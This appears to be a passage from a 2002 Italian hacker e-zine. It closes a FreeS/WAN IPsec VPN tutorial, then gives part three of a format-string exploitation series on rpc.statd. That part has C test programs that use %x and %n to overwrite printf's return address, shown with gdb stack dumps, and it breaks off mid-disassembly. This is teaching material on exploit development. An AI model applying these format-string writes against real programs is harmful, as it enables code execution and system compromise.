| Dovremo quindi agire sul gateway (firewall compreso naturalmente!) di A |
| e di C. |
| |
| --------------- --------------- |
| | rete A | <---> | rete B | |
| | | ( internet ) <---> | | |
| | 192.168.1.0 | <---> ^ | 192.168.2.0 | |
| --------------- | --------------- |
| Reggio Emilia | Toronto |
| | |
| | |
| | |
| --------------- |
| | rete C | |
| | | |
| | 192.168.3.0 | |
| --------------- |
| Birrificio |
| |
| |
| Le operazioni da compiere sono poche e semplici. Per prima cosa |
| prepariamo il gateway C, installando FreeS/WAN, editando l'ipsec.conf |
| come spiegato in precedenza ecc. ecc. |
| Una volta fatto questo (mi raccomando controllate le chiavi pubbliche |
| tra il gw C e il gw A) modifichiamo l'ipsec.conf di A in aggiungendo in |
| fondo una decina di righe come queste: |
| |
| conn birrificio-reggioe |
| left=213.82.63.66 |
| leftsubnet=192.168.1.0/24 |
| leftnexthop=213.82.63.65 |
| right=212.*.15.101 |
| rightsubnet=192.168.1.0/24 |
| rightnexthop=212.*.15.1 |
| auto=start |
| authby=rsasig |
| leftid=@fire.toronto.it |
| rightid=firewalle.reggio.net |
| leftrsasigkey=0x010367453ccd22484a3f291a30bf3d11b5... |
| rightrsasigkey=0x010373f12dd6e1d244895bfc237433bac... |
| |
| Niente di difficile. Stiamo solo attenti ad inserire i parametri |
| corretti. |
| Rifacciamo partire i servizi IPSEC e testiamo se tutto funziona con le |
| procedure sopra descritte: logs ecc. ecc. ecc. |
| |
| Note: |
| - algoritmi hash = prendono in input una stringa arbitrariamente lunga |
| e la convertono in un numero di lunghezza fissata (digest). Sono |
| tipicamente usati per testare la validita' di un particolare messaggio |
| o password. |
| Una funzione di hash deve essere veloce e affidabile, deve produrre un |
| risultato difficile da invertire e deve avere una bassa probabilita' |
| di collisione: deve cioe' risultare altamente improbabile che due |
| messaggi diversi generino lo stesso digest. L'algoritmo piu' sicuro in |
| assoluto e' l'SHA (Secure Hash Algorithm) proposto dal NIST (National |
| Institute of Standards and Tecnology). |
| |
| - sistemi a chiave pubblica = gli algoritmi a chiave pubblica godono di |
| una importante proprieta' di reciprocita' tra le due chiavi k1 e k2: |
| se un messaggio e' stato crittografato con una delle due chiavi, |
| allora puo' essere decrittografato solo usando l'altra chiave. |
| Ovviamente, perche' cio' sia possibile le due chiavi devono possedere |
| delle proprieta' matematiche particolari. In genere una delle due |
| chiavi e' mantenuta segreta, mentre l'altra viene resa pubblica. |
| In questo modo e' possibile: |
| |
| + invio di un messaggio segreto ad un destinatario sconosciuto di cui |
| sia nota la chiave pubblica: |
| si e' certi che solo il possessore della chiave segreta sara' in |
| grado di decodificare il messaggio; |
| + autenticazione di un messaggio pubblico da parte di una persona di |
| cui sia nota la chiave privata: |
| tutte le persone saranno in grado di decodificare il messaggio |
| tramite la corrispondente chiave pubblica e quindi di provare che |
| il messaggio e' stato certamente generato dal possessore della |
| chiave segreta; |
| |
| Il principale algoritmo a chiave pubblica oggi utilizzato e' l'RSA. |
| Algoritmo a chiave variabile: la lunghezza minima consigliata e' 512 |
| bit, ma e' preferibile almeno di 1024 bit. |
| |
| - sistemi a chiave privata = gli algoritmi a chiave privata prendono in |
| ingresso un messaggio di lunghezza variabile e una chiave privata. |
| Quest'ultima viene usata per trasformare il messaggio originale in un |
| cript text. Mentre gli algoritmi di hashing creano un risultato di |
| lunghezza fissata da un ingresso a lunghezza variabile, i sistemi a |
| chiave privata operano su successivi blocchi di dimensione fissata in |
| ingresso, e utilizzano la chiave di lunghezza fissata per produrre un |
| risultato di lunghezza variabile. |
| E' chiaro che l'uso di una chiave troppo corta riduce la sicurezza del |
| sistema. |
| |
| + DES: Data Encryption Standard. e' uno standard NIST ed e' |
| sicuramente uno degli algoritmi a chiave privata piu' usato. |
| Usa pero' chiavi deboli a 56 bit. |
| E' stato cosi' inventato il 3DES; |
| + IDEA: International Data Encryption Standard. utilizza chiavi a 128 |
| bit. |
| |
| RTFM: |
| ----- |
| - FreeS/WAN manual pages |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/manpages.html |
| - /usr/local/man/man3 |
| - /usr/local/man/man5 |
| - /usr/local/man/man8/ipsec_* |
| - FreeS/WAN faq |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/faq.html |
| |
| |
| Riferimenti (in ordine semi-sparso!): |
| ------------------------------------- |
| - http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/index.html |
| "FreeS/WAN documentation" |
| - http://inews.tecnet.it/articoli/Marzo2001/Linux0103.html |
| "Linux + IPsec = Vpn" di Piero Baudino" |
| - "
Virtual Private Network" di Marco Ivaldi su Linux&C. n. 19 |
| - http://www.openbsd.org/faq/faq13.html "
Using IPSec - OpenBSD faq" |
| |
| |
| Note finali: |
| ------------ |
| Fate di questo documento quello che piu' vi aggrada... cancellatelo, |
| modificatelo, CORREGGETELO, bruciatelo, vendetelo, TRADUCETELO, |
| scopiazzatevelo, coloratelo, cantatelo LIBERAMENTE! |
| |
| |
| ---------------------------------------------------- |
| Autore: goony |
| Data Pubblicazione: Novembre 01 |
| Versione Documento: 0.1 |
| Editor Usato: vi su una macchina OpenBSD 2.8 |
| Riferimento: goony@inwind.it http://OpenBSD.tzone.it |
| Saluti: haikia... gia' detto tutto! ;) |
| ---------------------------------------------------- |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 |
| LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0E/0x23 |
+--------------------------------------------------------------------------+
| |
| ovvero |
| |
| come scriversi il proprio exploit personale in tre puntate (...o forse |
| piu' :) |
| **************************** Terza puntata ***************************** |
| |
| 4. "
Smashing the stack for fun and profit" |
| |
| |
| Chiedo scusa ad aleph1 (che ci crediate o no, mi sono messo sull'attenti |
| per pronunciare questo nome) per avere impunemente "
rubato" il titolo al |
| suo molto piu' degno articolo, apparso sul numero 49 di Phrack Magazine |
| (a proposito, BENTORNATO! www.prack.org :), ma mai come in questo caso |
| un simile titolo si rivela azzeccato. |
| |
| |
| 4.1. Sovrascrittura dell'indirizzo di ritorno |
| |
| |
| Bene, vediamo adesso come, in pratica, possiamo utilizzare i concetti |
| appena descritti per sovrascrivere l'indirizzo di ritorno della nostra |
| funzione, primo passo verso una completa "
effrazione" del sistema... ;) |
| |
| Come visto, il contenuto dello stack risulta essere particolarmente |
| interessante, poiche' restano FISSE E CONOSCIUTE certe grandezze. In |
| particolare resta invariata la distanza che c'e' tra l'indirizzo del |
| buffer (argomento della printf) ed il buffer stesso. In alcuni casi e' |
| conosciuto anche l'indirizzo del buffer, il che equivale a conoscere |
| dove, nello stack, e' contenuto l'indirizzo di ritorno della funzione |
| printf, ossia dove si riprendera' l'esecuzione del codice una volta che |
| la printf termina il suo compito. Questo parametro e' di fondamentale |
| importanza ai fini di riuscire a riscrivere correttamente l'indirizzo di |
| ritorno, poiche' e' proprio li' che dovremo mettere i valori che ci |
| interessano. |
| |
| |
| Mi spiego con l'esempio precedente. Conoscendo il valore 0xbfffea60 |
| (indirizzo del buffer) e sapendo che l'argomento della printf e' ad una |
| distanza FISSA da detto indirizzo (si tratta di sottrarre SEMPRE |
| esattamente 36 byte), automaticamente si conosce dove e' memorizzato |
| l'indirizzo di ritorno della printf; esso infatti si trova ESATTAMENTE |
| PRIMA dell'argomento della printf stessa, quindi ad una distanza di 0x24 |
| byte prima del buffer. |
| |
| Pertanto, se nel buffer inserisco un certo numero di formattatori di |
| output (generalmente si usa il formattatore %x, ma qualsiasi altro |
| formattatore opportuno puo' andare bene) riusciro' a "
navigare" sullo |
| stack fino all'indirizzo che mi interessa. |
| |
| |
| Vediamo nella pratica questi concetti, con la solita sessione pratica |
| opportunamente commentata |
| |
| # cat prova4.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| buffer[3] = 0xbf; |
| buffer[2] = 0xff; |
| buffer[1] = 0xea; |
| buffer[0] = 0x3c; |
| for (i = 1; i < 8; i++) strcat (buffer, "
%x\n"); |
| |
| strcat (buffer,"
%n\n"); |
| |
| printf (buffer); |
| } |
| # |
| |
| qui utilizziamo la conoscenza dell'indirizzo nel quale e' memorizzato |
| l'indirizzo di ritorno della funzione printf per sovrascriverlo con un |
| valore differente. |
| Per fare questo utilizziamo la possibilita' di raggiungere il nostro |
| buffer (il ciclo for che inserisce un certo numero di %x serve proprio a |
| questo) ed a quel punto utilizziamo i primi byte del buffer stesso come |
| un indirizzo (che avremo sapientemente valorizzato in precedenza) in cui |
| scrivere il numero di caratteri fino a quel momento stampati dalla |
| printf. |
| |
| # gcc -g -o prova4 prova4.c |
| # gdb prova4 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and you |
| are |
| welcome to change it and/or distribute copies of it under certain |
| conditions. |
| Type "
show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "
show warranty" for |
| details. |
| This GDB was configured as "
i386-redhat-linux"... |
| (gdb) b printf |
| Breakpoint 1 at 0x80483ac |
| (gdb) r |
| Starting program: /Ondaquadra/prova4 |
| Breakpoint 1 at 0x40080d76: file printf.c, line 30. |
| |
| Breakpoint 1, printf (format=0xbfffea60 |
| "
<êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%n\n") |
| at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| |
| |
| ok, ci siamo. una rapida occhiata allo stack... |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea2c: 0x080485c8 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x0804855a 0xbfffea60 0x080485c8 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000008 0xbfffea3c 0x250a7825 0x78250a78 |
| 0xbfffea6c: 0x0a78250a 0x250a7825 0x78250a78 0x0a6e250a |
| |
| che mette in evidenza come all'indirizzo 0xbfffea3c vi sia l'indirizzo |
| di ritorno della printf e che il valore 0xbfffea3c e' contenuto nei |
| primi quattro byte del nostro buffer, pronti per essere utilizzati come |
| puntatore... ;) |
| |
| ...e allora vediamolo in azione, questo puntatore... |
| |
| (gdb) n |
| 31 in printf.c |
| (gdb) n |
| <êÿ¿80485c8 |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| 8 |
| |
| 35 in printf.c |
| |
| |
| |
| ecco eseguita la printf. i primi caratteri "
strani" non devono |
| spaventare; |
| essi sono infatti la visualizzazione del valore 0xbfffea3c contenuto |
| all'inizio del buffer. Sono caratteri un po' bizzarri, ma sono |
| totalmente |
| inoffensivi :) |
| |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea64 0x080485c8 |
| 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x00000022 |
| 0xbfffea40: 0xbfffea60 0x080485c8 0x000007e3 0x000006c4 |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000008 |
| 0xbfffea60: 0xbfffea3c 0x250a7825 0x78250a78 0x0a78250a |
| |
| ECCOLO!!! all'indirizzo 0xbfffea3c questa volta e' presente il valore |
| 0x22, che rappresenta il numero di caratteri stampati finora... ma e' |
| anche diventato il nuovo indirizzo di ritorno della printf... con i |
| risultati che ben possiamo immaginare... |
| |
| (gdb) n |
| 34 in printf.c |
| (gdb) n |
| 35 in printf.c |
| (gdb) n |
| |
| Program received signal SIGSEGV, Segmentation fault. |
| 0x22 in ?? () |
| |
| |
| ecco, appunto... :) non e' che si puo' saltare impunemente all'indirizzo |
| 0x22 nella esecuzione di un programma... e che cavolo! |
| |
| |
| |
| (gdb) q |
| The program is running. Exit anyway? (y or n) y |
| # |
| |
| |
| |
| 4.2. Scrittura di valori specifici |
| |
| |
| Bene, siamo quindi riusciti a scrivere ad un indirizzo che definirei |
| davvero "
interessante", no? Adesso si tratterebbe di sfruttare questa |
| capacita' per scrivere dei valori diciamo a noi "
utili"... ad esempio un |
| indirizzo a cui corrisponda un codice eseguibile (il 0x22 del punto |
| precedente non e', sotto questo aspetto, un valore adeguato...). |
| Pero'... pero'... non e' cosi' facile; |
| il problema e' rappresentato dal fatto che la printf scrive il numero di |
| caratteri stampati all'interno di una variabile di tipo "
longword", |
| ossia di dimensione uguale a quattro byte. Se guardiamo il contenuto |
| dello stack, infatti, ci rendiamo subito conto che il numero 0x22 nella |
| realta' e' stato scritto su quattro byte, diventando di fatto |
| 0x00000022. Se volessimo scrivere, utilizzando questo metodo, un valore |
| "
sensato" dovremmo scrivere un numero come, ad esempio, 0x0804855a, |
| ossia 134514010, piu' di centotrenta milioni!!! Per fare cio' dovremmo |
| formattare opportunamente i "
%x" del buffer, magari facendoli precedere |
| da un numero; infatti in "
C" esiste la possibilita' di specificare la |
| lunghezza, in caratteri, che la stampa del valore deve avere (ad esempio |
| una formattazione tipo "
%10x" scrivera' il valore in esadecimale |
| garantendo la stampa di 10 caratteri, eventualmente riempiendo con spazi |
| i caratteri in eccesso). Il problema e' che non e' che si puo' |
| specificare di stampare un numero cosi' grande di caratteri in un |
| formattatore (insorgerebbero, tra l'altro, problemi di overflow). Come |
| fare, allora? |
| |
| Qui ci viene in aiuto la particolare architettura del processore (Intel |
| o AMD, e' lo stesso); infatti, i quattro byte del valore di tipo |
| "
longword" vengono scritti a partire dal meno significativo fino al piu' |
| significativo. A titolo di esempio, la scrittura del valore 0x12345678 |
| all'indirizzo 0x1000 si tradurra' nella seguente memorizzazione: |
| |
| Indirizzo Valore |
| 0x1000 0x78 |
| 0x1001 0x56 |
| 0x1002 0x34 |
| 0x1003 0x12 |
| |
| In termini tecnici si dice che l'architettura e' di tipo "
Little |
| Endian", ossia che il byte di ordine "basso" viene scritto all'indirizzo |
| piu' "
basso" (la parte meno significativa, o "piccola", viene scritta |
| prima) |
| |
| Per ottenere questo risultato, pero', non c'e' soltanto l'operazione "
di |
| base" (ossia la scrittura della longword) ma e' anche possibile |
| suddividere detta scrittura in tante scritture piu' "
piccole". In altre |
| parole, potremmo effettuare quattro scritture, ognuna di un singolo |
| byte, |
| ad indirizzi crescenti, scrivendo: |
| |
| - all'indirizzo 0x1003 il valore 0x12 |
| - all'indirizzo 0x1002 il valore 0x34 |
| - all'indirizzo 0x1001 il valore 0x56 |
| - all'indirizzo 0x1000 il valore 0x78 |
| |
| ottenendo in tal modo lo stesso risultato. |
| |
| Purtroppo, pero', se cercassimo di applicare questa metodologia, poiche' |
| il valore scritto sarebbe sempre e comunque quello di una longword, |
| otterremmo quanto segue: |
| |
| |
| - la prima scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1003 0x12 |
| 0x1004 0x00 |
| 0x1005 0x00 |
| 0x1006 0x00 |
| |
| |
| - la seconda scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1002 0x34 |
| 0x1003 0x00 |
| 0x1004 0x00 |
| 0x1005 0x00 |
| |
| Ahi, ahi... abbiamo sovrascritto il valore all'indirizzo 0x1003 con uno |
| zero! |
| |
| Pero'... pero'... non c'e' solo quel modo per scrivere la longword... |
| c'e' anche il modo inverso, ossia scrivere: |
| |
| - all'indirizzo 0x1000 il valore 0x78 |
| - all'indirizzo 0x1001 il valore 0x56 |
| - all'indirizzo 0x1002 il valore 0x34 |
| - all'indirizzo 0x1003 il valore 0x12 |
| |
| Questo metodo effettivamente ha successo, poiche', nel dettaglio: |
| |
| - la prima scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1000 0x78 |
| 0x1001 0x00 |
| 0x1002 0x00 |
| 0x1003 0x00 |
| |
| |
| - la seconda scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1001 0x56 |
| 0x1002 0x00 |
| 0x1003 0x00 |
| 0x1004 0x00 |
| |
| - la terza scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1002 0x34 |
| 0x1003 0x00 |
| 0x1004 0x00 |
| 0x1005 0x00 |
| |
| - la quarta ed ultima scrittura scrive i seguenti valori |
| |
| Indirizzo Valore |
| 0x1003 0x12 |
| 0x1004 0x00 |
| 0x1005 0x00 |
| 0x1006 0x00 |
| |
|

  
|
| Il risultato finale sara' quello di avere il valore 0x12345678 |
| correttamente scritto all'indirizzo 0x1000, con i tre byte agli |
| indirizzi 0x1004, 0x1005 e 0x1006 azzerati dalle operazioni di |
| scrittura... poco male, quello che volevamo (ossia scrivere unalongword |
| all'indirizzo 0x1000) e' stato ottenuto. |
| |
| |
| Dal punto di vista pratico, quindi, estendendo la tecnica vista in |
| precedenza, ipotizzando di volere scrivere un certo valore, sara' |
| sufficiente: |
| |
| - inserire all'inizio del buffer gli indirizzi che vogliamo scrivere, |
| replicandoli in maniera opportuna |
| |
| - inserire in maniera adeguata i vari formattatori, allo scopo di |
| ottenere un numero di caratteri in output tale da raggiungere il |
| valore del byte che vogliamo andare a scrivere |
| |
| - tenere in considerazione il fatto che sara' necessario prevedere |
| nel buffer anche dei valori di "riempimento" per soddisfare i |
| formattatori che abbiamo inserito |
| |
| La sessione pratica che segue chiarira' questi concetti molto meglio di |
| qualsiasi presentazione teorica. |
| |
| |
| |
| 4.2.1. Caso pratico: saltare una istruzione |
| |
| |
| Allora, eccoci qui pronti a mettere in pratica la teoria finora |
| analizzata; cominciamo pure commentando questo semplice programmino |
| |
| # cat prova5.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| for (i = 0; i < 4; i++) { |
| buffer[7+i*8] = 0xbf; |
| buffer[6+i*8] = 0xff; |
| buffer[5+i*8] = 0xea; |
| buffer[4+i*8] = 0x3c + i; |
| buffer[3+i*8] = 0xbf; |
| buffer[2+i*8] = 0xff; |
| buffer[1+i*8] = 0xea; |
| buffer[0+i*8] = 0x3c + i; |
| } |
| for (i = 1; i < 8; i++) strcat (buffer, "%x\n"); |
| |
| strcat (buffer,"%8x%n"); |
| strcat (buffer,"%8x%n"); |
| strcat (buffer,"%8x%n"); |
| strcat (buffer,"%8x%n"); |
| strcat (buffer,"\n"); |
| |
| printf (buffer); |
| } |
| # |
| |
| |
| Ordunque, il primo ciclo "for" ha il compito di mettere nelle prime otto |
| longword del buffer quattro coppie di valori; questi valori, guarda |
| caso, risultano essere gli indirizzi dei quattro byte che contengono |
| l'indirizzo di ritorno della funzione printf (l'esecuzione in debug del |
| programma lo mettera' in evidenza in modo chiaro). |
| In sostanza, il buffer conterra', nelle prime longword, i seguenti |
| valori: |
| |
| |
| 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d |
| |
| 0xbfffea3e 0xbfffea3e 0xbfffea3f 0xbfffea3f |
| |
| Bene, ma perche' DUE volte? Beh, per un motivo molto semplice: |
| ammettendo che si voglia scrivere un valore ben preciso all'indirizzo |
| 0xbfffea3c utilizzando il formattatore "%n" visto in precedenza, e' |
| davvero molto difficile che il numero di caratteri fino a quel momento |
| emesso in output sia ESATTAMENTE il valore che desidero scrivere. |
| E' molto piu' facile che io debba aggiungere un certo numero di |
| caratteri in output per raggiungere il valore desiderato. A titolo di |
| esempio, se il numero di caratteri che ho scritto fino ad ora e', |
| supponiamo, 45 ed il desidero scrivere il numero 74 dovro' emettere in |
| output ancora 29 caratteri; la cosa piu' semplice da fare e' |
| quella di scrivere un valore intero usando un formattatore del tipo |
| "%29x", che mi garantisce che verranno emessi 29 caratteri. |
| Ovviamente, pero', il valore da usare per soddisfare il formattatore |
| "%29x" deve essere presente sullo stack ed ecco spiegato il perche' |
| del valore raddoppiato: il primo servira' a soddisfare il formattatore |
| "%29x" avendo come effetto quello di mettere altri 29 caratteri in |
| output, mentre finalmente il secondo verra' utilizzato dal formattatore |
| "%n" per scrivere il valore 74 all'indirizzo 0xbfffea3c. |
| Nella realta' il primo dei due valori avrebbe anche potuto essere |
| differente da 0xbfffea3c; sarebbe andato bene qualsiasi valore che, |
| visto byte per byte, non contenesse valori "non ammessi", quali ad |
| esempio '\0' oppure '%', poiche' il primo avrebbe terminato la stringa |
| (ricordiamoci che stiamo usando un buffer di caratteri da scrivere, |
| quindi un byte a zero viene considerato come fine della stringa), mentre |
| il secondo avrebbe introdotto una formattazione dipendente dal carattere |
| seguente, "sballando" inesorabilmente i nostri piani... |
| |
| Bene, proseguiamo: il secondo "for" e' il solito ciclo che serve per |
| "navigare" lungo lo stack fino ad incontrare il nostro buffer... |
| niente di nuovo, quindi :) |
| |
| le quattro chiamate strcat hanno il compito di introdurre i nostri |
| famosi formattatori che gestiscano i valori che abbiamo con tanta cura |
| messo all'inizio del buffer. |
| Possiamo notare il formattatore "%8x" che scrive il primo valore della |
| coppia, mentre il secondo formattatore "n" usa il secondo valore della |
| coppia come puntatore. In questo esempio il formattatore "%8x" e' stato |
| scelto a caso per rendere l'idea del funzionamento, ma nell'esempio |
| successivo vedremo come usare "meglio" questi formattatori... ;) |
| |
| |
| |
| Been, arrivati fino qui possiamo dare inizio alle danze: |
| |
| # gcc -g -o prova5 prova5.c |
| # gdb prova5 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and |
| you are welcome to change it and/or distribute copies of it under |
| certain conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for |
| details. |
| This GDB was configured as "i386-redhat-linux"... |
| (gdb) b printf |
| Breakpoint 1 at 0x80483ac |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova5 |
| Breakpoint 1 at 0x40080d76: file printf.c, line 30. |
| |
| Breakpoint 1, printf (format=0xbfffea60 "<êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿? |
| êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%8x%n%8x%n%8x%n%8x%n\n"
) at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| |
| |
| |
| anche qui, non ci spaventiamo dai caratteri "strani" presenti |
| all'inizio del buffer; essi sono proprio la rappresentazione ASCII dei |
| valori che abbiamo messo apposta. |
| |
| |
| (gdb) x/30 $sp |
| 0xbfffea2c: 0x0804871f 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x080486a6 0xbfffea60 0x0804871e 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000008 0xbfffea3c 0xbfffea3c 0xbfffea3d |
| 0xbfffea6c: 0xbfffea3d 0xbfffea3e 0xbfffea3e 0xbfffea3f |
| 0xbfffea7c: 0xbfffea3f 0x250a7825 0x78250a78 0x0a78250a |
| 0xbfffea8c: 0x250a7825 0x78250a78 0x7838250a 0x38256e25 |
| 0xbfffea9c: 0x256e2578 0x6e257838 |
| |
| |
| |
| Ecco il contenuto dello stack. All'indirizzo 0xbfffea3c c'e' |
| l'indirizzo di ritorno a cui saltare al termine della printf. |
| Tale valore (0x080486a6) e' quello dell'istruzione del main |
| immediatamente successiva alla "call printf". |
| Proseguendo... |
| |
| (gdb) n |
| 31 in printf.c |
| (gdb) n |
| <êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ¿?êÿ¿804871e |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| 8 |
| bfffea3cbfffea3dbfffea3ebfffea3f |
| 35 in printf.c |
| |
| |
| Notate come siano stati scritti i valori 0xbfffea3c, 0xbfffea3d, |
| 0xbfffes3e e 0xbfffez3f? Bene, il fatto che siano stati scritti implica |
| che sono stati soddisfatti i formattatori "%8x", quindi effettivamente |
| la funzione printf deve avere anche soddisfatto i formattatori "%n"... |
| vediamo se e' cosi' |
| |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea20: 0x40141840 0xbfffea60 0xbfffea80 0x0804871f |
| 0xbfffea30: 0x40080d64 0x40143824 0xbffffa68 0x5e564e46 |
| 0xbfffea40: 0xbf000000 0x0804871e 0x000007e3 0x000006c4 |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000008 |
| 0xbfffea60: 0xbfffea3c 0xbfffea3c 0xbfffea3d 0xbfffea3d |
| |
| |
| |
| Eccolo li'!!! All'indirizzo 0xbfffea3c NON C'E' piu' il valore |
| 0x080486a6 che indicava l'istruzione immediatamente successiva alla |
| chiamata della printf; al suo posto c'e' il valore 0x5e564e46 che e' il |
| risultato delle quattro scritture causate dai formattatori "%n". Da |
| notare, infatti, anche i tre byte messi a zero nella longword successiva |
| (quella all'indirizzo 0xbfffea40). |
| |
| Anche qui, pertanto, il volere far proseguire l'esecuzione del programma |
| in queste condizioni, generera' un salto all'indirizzo 0x5e564e46 che e' |
| con tutta probabilita' un indirizzo non valido poiche' non appartenente |
| allo spazio di indirizzamento del task stesso. Verifichiamolo: |
| |
| |
| (gdb) c |
| Continuing. |
| |
| Program received signal SIGSEGV, Segmentation fault. |
| 0x5e564e46 in ?? () |
| |
| ...come volevasi dimostrare :) |
| |
| |
| (gdb) q |
| The program is running. Exit anyway? (y or n) y |
| # |
| |
| |
| Ma allora a questo punto a noi bastera' solamente sostituire i |
| formattatori "%8x" con dei formattatori che specifichino una lunghezza |
| adeguate per ottenere come risultato quello di scrivere nella longword |
| il valore che vogliamo. |
| |
| |
| |
| Anche qui, a titolo di esempio, analizziamo il seguente programma |
| |
| |
| # cat prova6.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| for (i = 0; i < 4; i++) { |
| buffer[7+i*8] = 0xbf; |
| buffer[6+i*8] = 0xff; |
| buffer[5+i*8] = 0xea; |
| buffer[4+i*8] = 0x3c + i; |
| buffer[3+i*8] = 0xbf; |
| buffer[2+i*8] = 0xff; |
| buffer[1+i*8] = 0xea; |
| buffer[0+i*8] = 0x3c + i; |
| } |
| for (i = 1; i < 8; i++) strcat (buffer, "%x\n"); |
| |
| strcat (buffer,"%153x%n"); |
| strcat (buffer,"%175x%n"); |
| strcat (buffer,"%126x%n"); |
| strcat (buffer,"%260x%n"); |
| strcat (buffer,"\n"); |
| |
| i = 0; |
| |
| printf (buffer); |
| |
| i = 1; |
| |
| printf ("seconda parte; eccoci qui\n"); |
| |
| printf ("terza parte; i vale %d\n", i); |
| |
| exit (0x123); |
| } |
| # |
| |
| Sostanzialmente, nulla di nuovo. Le uniche due differenze sono: |
| |
| - valori diversi nei formattatori di scrittura |
| |
| - la presenza di alcune istruzioni in piu', messe li' solamente per |
| dimostrare la correttezza delle operazioni |
| |
| |
| Ordunque, se non conoscessimo l'enorme potenza di questi programmino |
| saremmo portati a pensare che, una volta in esecuzione, venissero |
| stampati, nell'ordine: |
| |
| |
| - il contenuto del buffer |
| - la stringa "seconda parte; eccoci qui" |
| - la stringa "terza parte; i vale 1" |
| |
| |
| Ma poiche' noi sappiamo oramai bene come funzioni questo giochetto, |
| analizziamo un po' piu' a fondo il VERO comportamento del programma |
| |
| # gcc -g -o prova6 prova6.c |
| # |
| # gdb prova6 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and |
| you are welcome to change it and/or distribute copies of it under |
| certain conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for |
| details. |
| This GDB was configured as "i386-redhat-linux"... |
| (gdb) b printf |
| Breakpoint 1 at 0x80483d0 |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova6 |
| Breakpoint 1 at 0x40080d76: file printf.c, line 30. |
| |
| Breakpoint 1, printf (format=0xbfffea60 "<êÿ¿<êÿ¿=êÿ¿=êÿ¿>êÿ¿>êÿ¿?êÿ |
| ¿?êÿ¿%x\n%x\n%x\n%x\n%x\n%x\n%x\n%153x%n%175x%n%126x%n%260x%n\n"
) at |
| printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| (gdb) x/30 $sp |
| 0xbfffea2c: 0x080487b8 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x080486bd 0xbfffea60 0x080487b8 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000000 0xbfffea3c 0xbfffea3c 0xbfffea3d |
| 0xbfffea6c: 0xbfffea3d 0xbfffea3e 0xbfffea3e 0xbfffea3f |
| 0xbfffea7c: 0xbfffea3f 0x250a7825 0x78250a78 0x0a78250a |
| 0xbfffea8c: 0x250a7825 0x78250a78 0x3531250a 0x6e257833 |
| 0xbfffea9c: 0x35373125 0x256e2578 |
| |
| |
| ok. fino qui nulla di nuovo. al solito indirizzo 0xbfffea3c c'e' |
| l'indirizzo di ritorno, che in questo caso e' 0x080486bd. |
| Vediamo adesso anche il listato disassemblato del programma, |
| focalizzando la nostra attenzione nell'intorno delle tre chiamate alla |
| printf (cioe' dall'indirizzo 0x080486bd in avanti): |
| |
| |
| (gdb) disass main |
| Dump of assembler code for function main: |
| 0x80484ec <main>: push %ebp |
| 0x80484ed <main+1>: mov %esp,%ebp |
| 0x80484ef <main+3>: sub $0x1018,%esp |
| 0x80484f5 <main+9>: sub $0x8,%esp |
| 0x80484f8 <main+12>: push $0x1000 |
| 0x80484fd <main+17>: lea 0xffffeff8(%ebp),%eax |
| 0x8048503 <main+23>: push %eax |
| 0x8048504 <main+24>: call 0x80483f0 <bzero> |
| 0x8048509 <main+29>: add $0x10,%esp |
| 0x804850c <main+32>: movl $0x0,0xffffeff4(%ebp) |
| 0x8048516 <main+42>: mov %esi,%esi |
| 0x8048518 <main+44>: cmpl $0x3,0xffffeff4(%ebp) |
| 0x804851f <main+51>: jle 0x8048528 <main+60> |
